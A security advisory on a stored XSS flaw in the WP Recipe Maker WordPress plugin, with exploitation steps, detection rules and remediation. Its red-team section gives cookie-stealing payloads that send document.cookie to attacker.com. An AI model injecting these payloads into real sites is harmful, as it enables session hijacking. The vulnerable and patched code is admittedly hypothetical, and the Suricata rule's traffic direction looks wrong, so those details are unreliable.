CVE-2024-9650

Executive Summary

CVE-2024-9650 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker WordPress plugin, affecting all versions up to and including 9.6.1. The flaw resides in the tooltip parameter, which is insufficiently sanitized and escaped. An authenticated attacker with at least Contributor-level access can inject arbitrary web scripts. When a user (including administrators) views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, defacement, or data theft.

This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the widespread use of the plugin.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository. Users should monitor for updates and apply patches as soon as they become available. No NPM, PyPI, Go, or Ruby packages are affected.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for authentication, but the potential for stored XSS makes it dangerous in multi-user environments.

Deep Dive & Mechanics

The vulnerability exists in the tooltip parameter, likely used for recipe tooltips. The plugin fails to properly sanitize user input and escape output when rendering this parameter. An attacker with Contributor-level access can craft a recipe or tooltip containing malicious JavaScript. When the page is loaded by any user, the script executes in the context of the victim's session.

The attack flow:

1. Attacker logs in with Contributor-level privileges.
2. Attacker creates or edits a recipe, injecting a payload into the tooltip field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database without proper sanitization.
4. When an administrator or other user views the recipe page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 9.6.1):

// Example vulnerable code (hypothetical)
function render_tooltip($tooltip) {
    echo '<div class="tooltip">' . $tooltip . '</div>';
}

The $tooltip value is directly echoed without escaping.

Patched Code (hypothetical):

function render_tooltip($tooltip) {
    echo '<div class="tooltip">' . esc_html($tooltip) . '</div>';
}

The esc_html() function escapes HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WP Recipe Maker <= 9.6.1
• Contributor-level account

Exploitation Steps:

1. Log in as a Contributor.
2. Navigate to "Recipes" > "Add New".
3. In the "Tooltip" field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the recipe.
5. When an administrator views the recipe, the script executes, exfiltrating cookies.

Alternative Payload (for session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor for unusual tooltip field content in recipe submissions.
• Look for base64-encoded or obfuscated JavaScript in POST requests to /wp-admin/admin-ajax.php or recipe endpoints.
• Use WAF rules to block common XSS patterns in the tooltip parameter.

Mitigation:

• Apply input validation and output escaping.
• Restrict Contributor-level access if not needed.
• Use Content Security Policy (CSP) headers to limit script execution.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from WordPress admin pages.
• File: Modified recipe posts containing <script> tags or event handlers (e.g., onerror, onload).
• Log: Suspicious entries in web server logs showing tooltip parameter with encoded JavaScript.
• Database: Rows in wp_posts or wp_postmeta containing XSS payloads in tooltip fields.

Detection Engineering

YARA Rule

rule CVE_2024_9650_WP_Recipe_Maker_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Recipe Maker tooltip field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9650"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
        $tooltip = /tooltip/i
    condition:
        ($xss1 or $xss2 or $xss3) and $tooltip
}

Sigma Rule

title: CVE-2024-9650 WP Recipe Maker Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via tooltip parameter in WP Recipe Maker
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'tooltip'
        cs-uri-query|re: '(<script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in tooltips (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9650 WP Recipe Maker Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"tooltip"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the WP Recipe Maker plugin until a patch is available.
2. Short-term: Restrict Contributor-level accounts to trusted users only.
3. Long-term: Apply input validation and output escaping to all user-supplied fields. Use WordPress's esc_html(), esc_attr(), or wp_kses() functions.
4. Monitor: Review web server logs for XSS patterns and block malicious IPs.
5. Update: Apply the official patch when released by the vendor.

Valters IT
Securing digital ecosystems through proactive threat intelligence.